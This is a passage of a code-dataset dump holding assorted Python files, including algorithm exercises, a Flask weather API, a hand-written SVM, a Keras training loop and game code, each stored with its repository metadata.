p_node.val == p_next.val:\n                need_delete = True\n\n            if not need_delete:\n                p_pre_node = p_node\n                p_node = p_next\n            else:\n                value = p_node.val\n                p_to_be_delete = p_node\n\n                while p_to_be_delete is not None and p_to_be_delete.val == value:\n                    p_next = p_to_be_delete.next\n                    p_to_be_delete.__del__()\n                    p_to_be_delete = p_next\n\n                if p_pre_node is None:\n                    root = p_next\n                else:\n                    p_pre_node.next = p_next\n                p_node = p_next\n\n\n    @staticmethod\n    def print_list(p_head):\n        if p_head is None:\n            return\n\n        p_next = p_head\n        while p_next is not None:\n            print(p_next.val)\n            p_next = p_next.next\n\n\nif __name__ == '__main__':\n    node1 = Node(1)\n    node2 = Node(1)\n    node3 = Node(1)\n    node4 = Node(1)\n    node5 = Node(1)\n    node6 = Node(6)\n    node7 = None\n\n    root = node1\n    node1.next = node2\n    node2.next = node3\n    node3.next = node4\n    node4.next = node5\n    node5.next = node6\n\n    S = Solution()\n    print(\"节点去重前：\")\n    S.print_list(root)\n    S.delete_duplicate_node2(root)\n    print(\"节点去重后：\")\n    S.print_list(root)\n\n\n\n\n\n\n\n","repo_name":"MemoryForSky/Data-Structures-and-Algorithms","sub_path":"my_target_offer/18(2)_delete_duplicate_node.py","file_name":"18(2)_delete_duplicate_node.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22256226108","text":"import threading\nimport time\n\ndef worker():\n    ''' Worker thread '''\n    for i in range(1000):\n        print(\"I am worker thread..\")\n        time.sleep(0.1)\n    return\n\ndef work2():\n    ''' Worker second '''\n    for i in range(1000):\n        print(\"I am worker2 thread\")\n        time.sleep(0.3)\n\nt = threading.Thread(target=worker)\nt1 = threading.Thread(target=work2)\nt.start()\nt1.start()\n","repo_name":"Dharnisingh/Python","sub_path":"Threading/thread_example.py","file_name":"thread_example.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22867585184","text":"import datetime\nfrom uuid6 import UUID, uuid7\n\n\ndef uuid7_time_boundary(dt, lower=True):\n    timestamp_ms = int(dt.timestamp() * 1000)\n    uuid_int = (timestamp_ms & 0xFFFFFFFFFFFF) << 80\n    fill_byte = \"00\" if lower else \"ff\"\n    uuid_int = uuid_int | int(fill_byte * 10, 16)\n    # using the UUID constructor from uuid6 library, which automatically populates the version and variant fields\n    return UUID(int=uuid_int, version=7)\n\n\nif __name__ == \"__main__\":\n    dt = datetime.datetime.strptime(\"2019-10-01 15:00:00\", \"%Y-%m-%d %H:%M:%S\").replace(tzinfo=datetime.timezone.utc)\n\n    date_uuid = str(uuid7_time_boundary(dt, lower=True))\n\n    cur_uuid = str(uuid7())\n\n    p_uuid = (date_uuid[:14] + cur_uuid[14:]).replace(\"-\", \"\")\n\n    print(date_uuid)\n    print(p_uuid)\n\n\n    dt = datetime.datetime.strptime(\"2022-04-03 10:30:00\", \"%Y-%m-%d %H:%M:%S\").replace(tzinfo=datetime.timezone.utc)\n\n    ####################################################################################################################\n    # Using an upper boundary with <=:\n    ####################################################################################################################\n    boundary_uuid = uuid7_time_boundary(dt, lower=True)\n\n    earlier_uuid = uuid7_time_boundary(dt - datetime.timedelta(milliseconds=1), lower=False)\n\n    # compare with earlier uuid\n    print(\"%s\\n<\\n%s\\n== %s\\n\" % (earlier_uuid, boundary_uuid, earlier_uuid < boundary_uuid))\n    # 017feef9-743f-7fff-bfff-ffffffffffff\n    # <\n    # 017feef9-7440-7000-8000-000000000000\n    # == True\n\n    later_uuid = UUID('018ea382-283f-7bfc-addb-a6c06bf382da')  # 2024-04-03\n\n    # compare with later uuid\n    print(\"%s\\n<\\n%s\\n== %s\\n\" % (later_uuid, boundary_uuid, later_uuid < boundary_uuid))\n    # 018ea382-283f-7bfc-addb-a6c06bf382da\n    # <\n    # 017feef9-7440-7000-8000-000000000000\n    # == False\n\n    ####################################################################################################################\n    # Using an upper boundary with <=:\n    ####################################################################################################################\n\n    upper_boundary_uuid = uuid7_time_boundary(dt - datetime.timedelta(milliseconds=1), lower=False)\n\n    print(\"%s\\n<=\\n%s\\n== %s\\n\" % (earlier_uuid, upper_boundary_uuid, earlier_uuid <= upper_boundary_uuid))\n    # 017feef9-743f-7fff-bfff-ffffffffffff\n    # <=\n    # 017feef9-743f-7fff-bfff-ffffffffffff\n    # == True\n\n    print(\"%s\\n<=\\n%s\\n== %s\\n\" % (later_uuid, upper_boundary_uuid, later_uuid <= upper_boundary_uuid))\n    # 018ea382-283f-7bfc-addb-a6c06bf382da\n    # <=\n    # 017feef9-743f-7fff-bfff-ffffffffffff\n    # == False\n","repo_name":"vdorot/primary_key_io","sub_path":"uuid7_boundary.py","file_name":"uuid7_boundary.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72592582729","text":"import numpy as np\n\nfrom pymoo.algorithms.moo.rvea import APDSurvival, RVEA\n\nfrom pymoo.core.population import Population\nfrom pymoo.problems.many import DTLZ2\nfrom tests.test_util import load_to_test_resource\n\n\ndef test_survival():\n    problem = DTLZ2(n_obj=3)\n\n    for k in range(1, 11):\n        print(\"TEST RVEA GEN\", k)\n\n        ref_dirs = np.loadtxt(load_to_test_resource('rvea', f\"ref_dirs_{k}.txt\"))\n        F = np.loadtxt(load_to_test_resource('rvea', f\"F_{k}.txt\"))\n        pop = Population.new(F=F)\n\n        algorithm = RVEA(ref_dirs)\n        algorithm.setup(problem, termination=('n_gen', 500))\n        algorithm.n_gen = k\n        algorithm.pop = pop\n\n        algorithm.termination.update(algorithm)\n\n        survival = APDSurvival(ref_dirs)\n        survivors = survival.do(problem, algorithm.pop, n_survive=len(pop), algorithm=algorithm, return_indices=True)\n\n        apd = pop[survivors].get(\"apd\")\n        correct_apd = np.loadtxt(load_to_test_resource('rvea', f\"apd_{k}.txt\"))\n        np.testing.assert_allclose(apd, correct_apd)\n","repo_name":"anyoptimization/pymoo","sub_path":"tests/algorithms/test_rvea.py","file_name":"test_rvea.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":1804,"dataset":"github-code","pt":"16"}
+{"seq_id":"21907204075","text":"from sys import stdin\r\n\r\n\r\ndef f(n):\r\n    if n == 1:\r\n        return [str(1)]\r\n    return f(n - 1) + [str(n)] + f(n - 1)\r\n\r\n\r\nreadline = stdin.readline\r\nn = int(readline())\r\nans = f(n)\r\nprint(*ans)\r\n","repo_name":"Balut-moko/procon-grassmaker-archive","sub_path":"atcoder/abc247/abc247_c/30859997.py","file_name":"30859997.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4501741907","text":"import socket # for socket \nimport sys\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint (\"Socket successfully created\")    \n# default port for socket \nport = 80\nhost_ip = socket.gethostbyname('www.google.com')\nprint(host_ip)\ns.connect((host_ip, port)) \nprint (\"the socket has successfully connected to google \\ on port == %s\" %(host_ip))\n","repo_name":"sumant039/Socket","sub_path":"socket.py","file_name":"socket.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10106521180","text":"import world\nimport country_info\n\nres = world.response()\ncountries = world.all_countries()\nlis = []\n\ndef population(in_population):\n    for i in countries:\n        if res[i]['population'] == in_population:\n            return(i)\n    raise(KeyError('No countries have a population of ' + str(in_population)))\n\ndef rank(in_rank):\n    for i in countries:\n        if res[i]['rank'] == in_rank:\n            return(i)\n    raise(KeyError('No countries have are ranked ' + str(in_rank)))\n\ndef percent_change(in_percent_change):\n    for i in countries:\n        if res[i]['change']['percent'] == in_percent_change:\n            return(i)\n    raise(KeyError('No countries have a change of ' + str(in_percent_change) + '%'))\n\ndef net_change(in_net_change):\n    for i in countries:\n        if res[i]['change']['net'] == in_net_change:\n            return(i)\n    raise(KeyError('No countries have a net change of ' + str(in_net_change)))\n\ndef density(in_density):\n    for i in countries:\n        if res[i]['density'] == in_density:\n            return(i)\n    raise(KeyError('No countries have a density of ' + str(in_density)))\n","repo_name":"gadhagod/worldpops","sub_path":"worldpops/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7270012837","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.utils import resample\ndf=pd.read_csv('adult.data')\ndf.columns =['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'maritial-status', 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss', 'hours-per-week', 'native-country', 'output']\nlen(df.loc[(df['workclass'] == \" ?\") | (df['native-country']==\" ?\") | (df['occupation']==\" ?\")])\n\n\nlen(df.loc[(df['workclass'] == \" ?\") | (df['native-country']==\" ?\") | (df['occupation']==\" ?\")| (df['relationship']==\" ?\")| (df['sex']==\" ?\")| (df['race']==\" ?\")| (df['maritial-status']==\" ?\")| (df['education']==\" ?\")])\ndfnm=df.loc[(df['workclass'] != \" ?\") & (df['native-country']!=\" ?\") & (df['occupation']!=\" ?\")]\n# dfnm.output=df.output.map({' <=50K':'-1',' >50K':'1'})\n\ndfnm.loc[dfnm.output == ' >50K', 'output'] = 1\ndfnm.loc[dfnm.output == ' <=50K', 'output'] = -1\ndfnm['output']=dfnm['output'].astype(int)\n# dfnm['output'] = dfnm['output'].astype(str).astype(int)\n# print(dfnm)\n\n\n\n# dfnm.output=dfnm.output.astype(int)\ndfmore=dfnm[dfnm['output']==1]\n# dfmore.output=dfmore.output.astype(int)\ndfless=dfnm[dfnm['output']==-1]\n# dfless.output=dfless.output.astype(int)\ndfmored=resample(dfmore,replace=False,n_samples=10,random_state=42)\ndflessd=resample(dfless,replace=False,n_samples=10,random_state=42)\ndfd=pd.concat([dfmored,dflessd])\n\n\nxe=dfd.drop('output',axis=1).copy()\ny=dfd['output'].copy()\n\nx=pd.get_dummies(xe,columns=['native-country','relationship','sex','race','maritial-status','education','workclass','occupation'])\n\nx_train,x_test,y_train,y_test= train_test_split(x,y,random_state=42,test_size=0.3)\n\nx_train=np.mat(x_train)\ny_train=np.mat(y_train)\nx_test=np.mat(x_test)\ny_test=np.mat(y_test)\n\n\n\n\n\n\nmax_passes=50 # initialize max_passes\nc=1.0\ntol=0.001 # initializing tol  \nMinalpha=0.00001 \nxarray=[]\nyarray=[]\nclass support:\n    x=[]\n    y=[]\n    def __init__(self,x,y):\n        self.x=x\n        self.y=y\n        self._alpha=np.mat(np.zeros((np.shape(x)[0],1)))\n        passes=0 # initializing passes=0\n        self._b=np.mat([0])\n        self.smo()\n        self.count=0\n        self.mcount=0\n        while(passes<max_passes):\n            if(self.smo()==0):\n                passes=passes+1\n            else:\n                passes=0\n\n        \n        \n        \n\n\n        \n    def smo(self):\n       num_changed_alphas=0\n       for i in range(np.shape(self.x)[0]):\n        \n           ei=0\n           ej=0\n           for k in range(np.shape(self.x)[0]):\n               # calculating Ei from equation 2.\n               ei=ei+np.multiply(self.y[k],self._alpha[k]).T*(self.x[k]*self.x[i].T)\n           ei=ei+self._b-self.y[i] \n                \n               \n           # calculating Ei from equation 2.\n           \n           \n           # condition to check for KKT condition\n           if((self.y[i]*ei<-tol and self._alpha[i]<c)or(self.y[i]*ei>tol and self._alpha[i]>0)):\n               j=self.selectsecondindex(i,np.shape(self.x)[0])\n               # calculating Ej using equation 2\n               for k in range(np.shape(self.x)[0]):\n                   ej=ej+np.multiply(self.y[k],self._alpha[k]).T*(self.x[k]*self.x[j].T)\n               ej=ej+self._b-self.y[j]\n               alphaiold=self._alpha[i].copy()\n               alphajold=self._alpha[j].copy()\n               # calculate L and H by 10 or 11\n               LH=self.LHF(self._alpha[i], self._alpha[j],self.y[i],self.y[j])\n               #calculating ETA by using (14)\n               ETA=2.0*self.x[i]*self.x[j].T-self.x[i]*self.x[j].T-self.x[j]*self.x[j].T\n               if(LH[0]!=LH[1]):\n                   if(ETA<0):\n                       if(self.optimizepair(i,j,ei,ej,ETA,LH,alphaiold,alphajold)):\n                           num_changed_alphas+=1\n                       \n                   \n                              \n       return num_changed_alphas\n    # compute value of alphaj by using equation (12) and (15) and check if |alphajold - alphaj|>10^(-5)\n    def optimizepair(self,i,j,ei,ej,ETA,LH,alphaiold,alphajold):\n        flag=False\n        self._alpha[j]-=self.y[j]*(ei-ej)/ETA\n        #compute and clip alphaj using 12 and 15\n        if(self._alpha[j]<LH[0]):\n            self._alpha[j]=LH[0]\n        if(self._alpha[j]>LH[1]):\n            self._alpha[j]=LH[1]\n        if(abs(self._alpha[j]-alphajold)>=Minalpha):\n            self._alpha[i]+=self.y[j]*self.y[i]*(alphajold-self._alpha[j])\n            self.optimizeb(ei,ej,alphaiold,alphajold,i,j) # calculate value of b\n            flag=True\n        return flag\n    # function to calculate b by using 17, 18 and 19\n    def optimizeb(self,Ei,Ej,alphaiold,alphajold,i,j):\n        b1=self._b-Ei-self.y[i]*(self._alpha[i]-alphaiold)*self.x[i]*self.x[i].T\\\n            -self.y[j]*(self._alpha[j]-alphajold)*self.x[i]*self.x[j].T\n        b2=self._b-Ej-self.y[i]*(self._alpha[i]-alphaiold)*self.x[i]*self.x[j].T\\\n            -self.y[j]*(self._alpha[j]-alphajold)*self.x[j]*self.x[j].T\n        if(0<self._alpha[i]) and (c>self._alpha[i]):\n            self._b=b1\n        elif(0<self._alpha[j]) and (c>self._alpha[j]):\n            self._b=b2\n        else:\n            self._b=(b1+b2)/2.0\n    #select j!= i randomly\n    def selectsecondindex(self, indexoffirst,numberofrows):\n        indexofsecond= indexoffirst\n        while(indexoffirst==indexofsecond):\n            indexofsecond= int(np.random.uniform(0,numberofrows))\n        return indexofsecond\n\n     # function to calculate L and H by 10 or 11       \n    def LHF (self, alphai, alphaj,yi,yj):\n        LH=[2]\n        if(yi==yj):\n            LH.insert(0, max( 0, 1))\n            LH.insert(1, min( c, alphaj + alphai))\n        else:\n            LH.insert(0, max( 0, 2))\n            LH.insert(0, min( c, alphaj - alphai + c))\n        return LH\n    def classify(self,x,y):\n        \n        cl=0\n        for i in range(0,np.shape(self.x)[0]):\n            cl=cl+(np.multiply(self._alpha[i],self.y[i]).T*(self.x[i]*x.T))\n        cl=cl+self._b\n            \n        if(cl>0):\n            if(y==1):\n                self.count=self.count+1\n            else:\n                self.mcount=self.mcount+1\n                \n        else:\n            if(y==-1):\n                self.count=self.count+1\n            else:\n                self.mcount=self.mcount+1\n    def display(self):\n        print(self.count)\n        print(self.mcount)\n                \n        \n            \ndef testing(x_test,y_test):\n    for i in range (np.shape(x_test)[0]):\n        svm.classify(x_test[i],y_test[i])\n    svm.display()\n        \n        \n        \n    \n\nsvm=support(x_train,y_train.transpose())\ntesting(x_test,y_test.transpose())\n","repo_name":"muku1105/support-vector-machine-implementation","sub_path":"adultdataset.py","file_name":"adultdataset.py","file_ext":"py","file_size_in_byte":6662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71496035207","text":"from quajoo_weather import app, cache\nfrom models import City\nfrom flask import jsonify, request, make_response\nimport json\nfrom datetime import datetime\nimport requests\n\nweather_api_key = \"05117393b55f2642ad27db0f0a383008\"\nweather_api_url = \"https://api.openweathermap.org/data/2.5/weather\" \n\n@app.route('/cities', methods=['GET'])\ndef get_all_cities():\n    _cities = City.objects()\n    cities = [city.to_json() for city in _cities]\n    return make_response({'cities': cities})\n\n@app.route('/cities/<string:city_name>', methods=['GET'])\ndef get_city(city_name):\n    city = City.objects(name=city_name).first()\n    if not city:\n        return make_response({'error': f'city not in the database: {city_name}'}, 404)\n    else:\n        return make_response(city.to_json())\n\n@app.route('/cities/<string:city_name>/temp', methods=['GET'])\ndef get_city_temp(city_name):\n    city = City.objects(name=city_name).first()    \n    if not city:\n        return make_response({'error': f'city not in the database: {city_name}'}, 404)\n    else:\n        return request_get_city_temp(city_name)\n\n@app.route('/cities', methods=['POST'])\ndef add_city():\n    try:\n        data = json.loads(request.data)\n        city_name = data['name']\n    except json.JSONDecodeError as e:\n        return make_response({'error': f'invalid request body: {request.data}'}, 400)\n    except KeyError as e:\n        return make_response({'error': f'invalid key: {json.loads(request.data)}'}, 400)\n\n    city = City.objects(name=city_name).first()\n    if not city:\n        new_city = City(name=data['name'])\n        new_city.save()\n        return make_response(new_city.to_json(), 201)\n    else:\n        return make_response({'error': f'city already exists: {city.name}'}, 409)\n\n@app.route('/cities/<string:city_name>', methods=['DELETE'])\ndef delete_city(city_name):\n    city = City.objects(name=city_name).first()\n    if not city:\n        return make_response({'error': f'city not in the database: {city_name}'}, 404)\n    else:\n        city.delete()\n    return make_response(city.to_json(), 202)\n\n@app.route(\"/batch/cities\")\ndef city_batch_request():\n    try:\n        batch_requests = json.loads(request.data) \n    except ValueError as e:\n        return ('Invalid data', 400)\n\n    responses = []\n\n    for req in batch_requests:\n        try:\n            method = req['method']\n            url = req['url']\n            body =  json.dumps(req.get('body', None)) \n        except KeyError as e:\n            responses.append({'status': 400, 'response': f'Invalid field: {req}'})\n            continue\n\n        with app.app_context():\n            with app.test_request_context(url, method=method, data=body):\n                try:\n                    response = app.preprocess_request()\n                    if response is None:\n                        response = app.dispatch_request()\n\n                except Exception as e:\n                    responses.append({'status': 400, 'response': f'Invalid request: {req}'})\n                    continue\n                \n        responses.append({\n            \"status\": response.status_code,\n            \"response\": json.loads(response.response[0])\n        })\n        \n    return make_response(jsonify(responses), 207)\n\n@cache.memoize(timeout=300)\ndef request_get_city_temp(city_name):\n    response = requests.get(\n        weather_api_url, \n        params = {\n            'q': city_name,\n            'units': 'metric',\n            'appid': weather_api_key\n        }\n    )\n    if (response.status_code != 200):\n        return ({'error': f'{response.json()[\"message\"]}: {city_name}'}, response.status_code)\n\n    response_data = {\n        'Name': city_name, \n        'Celsius': response.json()['main']['temp'], \n        'Fahrenheit': celsius_to_fahrenheit(response.json()['main']['temp']), \n        'Timestamp': datetime.now().strftime(\"%H:%M:%S\")\n    }\n    \n    return make_response(response_data, 200)\n\ndef celsius_to_fahrenheit(value):\n    return round(((value * 9) / 5) + 32, 2)","repo_name":"guicoliveira/QuajooWeatherTask","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27299916923","text":"import jack_mouse_test\n\nimport os\n#os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n#os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"\"\n\nfrom random import shuffle\n\n#from tensorflow.keras import *\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras import metrics\n\nimport tensorflow.keras.losses\n\nfrom tensorflow.keras.models import load_model\nimport tensorflow.keras.backend as K\nimport tensorflow.keras.callbacks\nimport tensorflow.keras\nimport numpy\n\nimport sys\n#sys.path.append(\"/nas/longleaf/home/jackmag\")#for h5py\nimport h5py\n\nimport pandas as pd\nimport gzip\nimport math\n\nimport argparse\nimport random\n\n#import threading\nimport time\nimport subprocess\n\n#from tensorflow.python.client import device_lib\n#print(device_lib.list_local_devices())\n\nimport tensorflow as tf\n#from tensorflow.keras.backend.tensorflow_backend import set_session\n\nname=\"base2.lcn.sum.reasonablediet\"\n\n'''\n#Only use part of the GPU, from https://github.com/keras-team/keras/issues/4161\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True  # dynamically grow the memory used on the GPU\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.3\n#config.gpu_options.visible_device_list = \"0\"\nconfig.log_device_placement = True  # to log device placement (on which device the operation ran)\n                                    # (nothing gets printed in Jupyter, only if you run it standalone)\nsess = tf.Session(config=config)\nset_session(sess)  # set this TensorFlow session as the default session for Keras\n'''\n\n########\n# INIT #\n########\n\nnum_input_dimensions = 18494\nnum_source_residue_inputs = 26\nnum_ray_inputs = 18494 - 26\nWIDTH = 36\nHEIGHT = 19\nCHANNELS = 27\nif( WIDTH * HEIGHT * CHANNELS != num_ray_inputs ):\n    print( \"WIDTH * HEIGHT * CHANNELS != num_ray_inputs\" )\n    exit( 1 )\nnum_output_dimensions = 1\n\nnumpy.random.seed( 0 )\n\nparser = argparse.ArgumentParser()\n\n#parser.add_argument( \"--model\", help=\"Most recent model file\", required=True )\n\nparser.add_argument( \"--training_data\", help=\"CSV where each line has two elements. First element is the absolute path to the input csv file, second element is the absolute path to the corresponding output csv file.\", required=True )\n# Example: \"--training_data foo.csv\" where foo.csv looks like:\n# /home/jack/input.1.csv,/home/jack/output.1.csv\n# /home/jack/input.2.csv,/home/jack/output.2.csv\n# /home/jack/input.3.csv,/home/jack/output.3.csv\n# ...\n\nargs = parser.parse_args()\n\n#########\n# FUNCS #\n#########\n\ndef my_assert_equals( name, actual, theoretical ):\n    if actual != theoretical:\n        print( str( name ) + \" is equal to \" + str( actual ) + \" instead of \" + str( theoretical ) )\n        exit( 1 )\n\nclass AssertError(Exception):\n    pass\n\ndef my_assert_equals_thrower( name, actual, theoretical ):\n    if actual != theoretical:\n        print( str( name ) + \" is equal to \" + str( actual ) + \" instead of \" + str( theoretical ) )\n        raise AssertError\n\n#https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison\ndef shuffle_in_unison(a, b):\n    rng_state = numpy.random.get_state()\n    numpy.random.shuffle(a)\n    numpy.random.set_state(rng_state)\n    numpy.random.shuffle(b)\n\ndef assert_vecs_line_up( input, output ):\n    #Each line starts with \"RESID: XXX,\"\n    my_assert_equals_thrower( \"input file length\", len( input ), len( output ) )\n    for i in range( 0, len( input ) ):\n        in_elem = input[ i ][ 0 ]\n        in_resid = int( in_elem.split( \" \" )[ 1 ] )\n        out_elem = output[ i ][ 0 ]\n        out_resid = int( out_elem.split( \" \" )[ 1 ] )\n        my_assert_equals_thrower( \"out_resid\", out_resid, in_resid )\n\n\n#########\n# START #\n#########\n\nif os.path.isfile( \"../current.\" + name + \".h5\" ):\n    model1 = load_model( \"../current.\" + name + \".h5\" )\nelse:\n    print( \"Model ../current.\" + name + \".h5 is not a file\" )\n    exit( 1 )\n\n#0.001 is default\n#model1.optimizer.lr = 0.0002\n#model1.optimizer.lr = 0.001\n#model1.optimizer.lr = 0.005\nprint( \"lr:\", model1.optimizer.lr )\n\n# 4) Fit Model\n\nwith open( args.training_data, \"r\" ) as f:\n    file_lines = f.readlines()\nnum_file_lines = len( file_lines )\n\ntime_spent_loading = float( 0 )\ntime_spent_training = float( 0 )\n\nshuffle( file_lines )\n\nfor line in file_lines:\n    print( \"reading \" + str( line ) )\n    split = line.split( \"\\n\" )[ 0 ].split( \",\" );\n    my_assert_equals_thrower( \"split.length\", len( split ), 2 );\n\n    t0 = time.time()\n    try:\n        cpp_structs = jack_mouse_test.read_mouse_data( split[ 0 ], split[ 1 ] )\n        source_input = cpp_structs[ 0 ]\n        ray_input = cpp_structs[ 1 ]\n        output = cpp_structs[ 2 ]\n        #print( output )\n    except AssertError:\n        continue\n    t1 = time.time()\n    #submitting in batches to save memory on the GPU\n    #64 sometimes works, 128 is too large\n    #model1.train_on_batch( x=[source_input,ray_input], y=output )\n    model1.fit( x=[source_input,ray_input], y=output, epochs=1, batch_size=128 ) #32 for base2\n    t2 = time.time()\n    time_spent_loading += t1 - t0\n    time_spent_training += t2 - t1\n\nprint( str( float( time_spent_loading ) / float(time_spent_loading + time_spent_training) ) + \" fraction of time was spent loading\" )\nprint( time_spent_loading )\nprint( time_spent_training )\n\nmodel1.save( \"final.\" + name + \".h5\" )\n\n","repo_name":"JackMaguire/MLHOUSE","sub_path":"current_draft/sub_trains/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14312618538","text":"import SpriteManager\nfrom BigBullet import BigBullet\nfrom Sprite import Sprite\nfrom Shooter import Shooter\n\nclass ArmoredShooter(Sprite, Shooter):\n    mark = 0\n    wait = 3000\n    speed = 3\n    diameter = 40 \n    Armor = 10   \n    \n    c = color(150)\n    \n    def move(self):\n        self.x += self.speed\n        if self.x < 0 or self.x > width:\n            self.speed *= -1\n            \n        vector = self.aim(SpriteManager.getPlayer())\n        self.fire(vector)\n        \n    def display(self):\n        fill(self.c)\n        strokeWeight(self.Armor)\n        ellipse(self.x, self.y, self.diameter, self.diameter)\n        strokeWeight(1)\n        \n    def fire(self, vector):\n        if millis() - self.mark > self.wait:\n            SpriteManager.spawn(BigBullet(self.x, self.y, vector, self.team))\n            self.mark = millis()\n    \n    def handleCollision(self):\n        if self.Armor > 0:\n            self.Armor -= 2\n        else:\n            SpriteManager.destroy(self)\n    \n","repo_name":"H2Parsons/Raindrop","sub_path":"GOC/ArmoredShooter.py","file_name":"ArmoredShooter.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40684219053","text":"d = [x.replace('\\n', '') for x in open('day3.txt').readlines()]\n\nimport math\n\nwidth = len(d[0])\nright = 1\ndown = 2\nsteps = math.ceil(len(d) / down)\n\ntrees = 0\nfor s in range(steps):\n\tprint('row {} col {}'.format(s*down, (s*right%width)))\n\tr = d[s*down]\n\tif r[(s*right)%width] == '#': trees += 1\n\nprint(trees)\n","repo_name":"hieushift/adventofcode","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2941380689","text":"import cProfile\r\nimport sys\r\nimport traceback\r\nfrom game.engine import AgentObieEngine\r\nfrom game.rooms import tests\r\nfrom game.scenes import TestScene\r\nfrom game.worlds import GameWorld, MainWorld\r\n\r\noptions = {\r\n    'player': '',  # Player location -> player=0,0\r\n    'profile': 'off',\r\n    'profile_file': 'profile.prof',\r\n    'scale': '1',\r\n    'scene': '',\r\n    'stage': '',\r\n    'test': '',\r\n}\r\n\r\n\r\ndef start_debug():\r\n    game = AgentObieEngine(debug=True)\r\n    game.title = 'Agent Obie DEBUG'\r\n    game.preload()\r\n    world = game.change_world(GameWorld.NAME)\r\n\r\n    if options['scale']:\r\n        game.scale = int(options['scale'])\r\n\r\n    if options['test']:\r\n        load_room(world, options['test'])\r\n    elif options['scene']:\r\n        load_scene(world, options['scene'])\r\n    elif options['stage']:\r\n        load_stage(world, options['stage'])\r\n    else:\r\n        world = game.change_world(MainWorld.NAME)\r\n\r\n    if options['player']:\r\n        pos = tuple(map(int, options['player'].split(',')))\r\n        world.room.player.x = pos[0]\r\n        world.room.player.y = pos[1]\r\n\r\n    game.run()\r\n\r\n\r\ndef load_room(world, test_name, *args, **kwargs):\r\n    \"\"\"\r\n    Run a test room (specified in game.rooms.test)\r\n    ex: test=GenericTest\r\n    \"\"\"\r\n    world.change_room(tests.__dict__[test_name](world, *args, **kwargs))\r\n\r\n\r\ndef load_scene(world, scene_name):\r\n    world.change_room(tests.GenericTest(world))\r\n    world.play_scene(TestScene(world))\r\n\r\n\r\ndef load_stage(world, name):\r\n    world.change_room(tests.GenericTest(world))\r\n\r\n    try:\r\n        world.room.load_tmx('game/res/stage/' + name)\r\n    except Exception:\r\n        print(\"[ERROR] Could not parse {}\".format(name))\r\n        traceback.print_exc()\r\n        raise\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # debug test=BackgroundTest profile=on\r\n    # debug profile=on\r\n    # debug stage=pier_01.tmx profile=on\r\n    # profile=on\r\n\r\n    for argv in sys.argv:\r\n        try:\r\n            option, value = argv.split('=')\r\n            assert options.get(option) is not None\r\n            options[option] = value\r\n        except ValueError:\r\n            print(argv)\r\n        except AssertionError:\r\n            print(\"Invalid option: \" + option)\r\n\r\n    if options['profile'] in ['on', 'True']:\r\n        cProfile.run('start_debug()', filename=options['profile_file'])\r\n    else:\r\n        start_debug()\r\n","repo_name":"shelsoloa/AgentObie","sub_path":"debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22857696658","text":"from collections import OrderedDict\nfrom typing import Any, Dict, Mapping, Tuple\n\nfrom torch.utils.data.dataloader import default_collate\n\nfrom modelscope.exporters.builder import EXPORTERS\nfrom modelscope.exporters.torch_model_exporter import TorchModelExporter\nfrom modelscope.metainfo import Models\nfrom modelscope.preprocessors import Preprocessor\nfrom modelscope.utils.constant import ModeKeys, Tasks\n\n\n@EXPORTERS.register_module(Tasks.text_classification, module_name=Models.bert)\n@EXPORTERS.register_module(\n    Tasks.text_classification, module_name=Models.structbert)\n@EXPORTERS.register_module(Tasks.sentence_similarity, module_name=Models.bert)\n@EXPORTERS.register_module(\n    Tasks.sentiment_classification, module_name=Models.bert)\n@EXPORTERS.register_module(Tasks.nli, module_name=Models.bert)\n@EXPORTERS.register_module(\n    Tasks.sentence_similarity, module_name=Models.structbert)\n@EXPORTERS.register_module(\n    Tasks.sentiment_classification, module_name=Models.structbert)\n@EXPORTERS.register_module(Tasks.nli, module_name=Models.structbert)\nclass SbertForSequenceClassificationExporter(TorchModelExporter):\n\n    def generate_dummy_inputs(self,\n                              shape: Tuple = None,\n                              pair: bool = False,\n                              **kwargs) -> Dict[str, Any]:\n        \"\"\"Generate dummy inputs for model exportation to onnx or other formats by tracing.\n\n        Args:\n        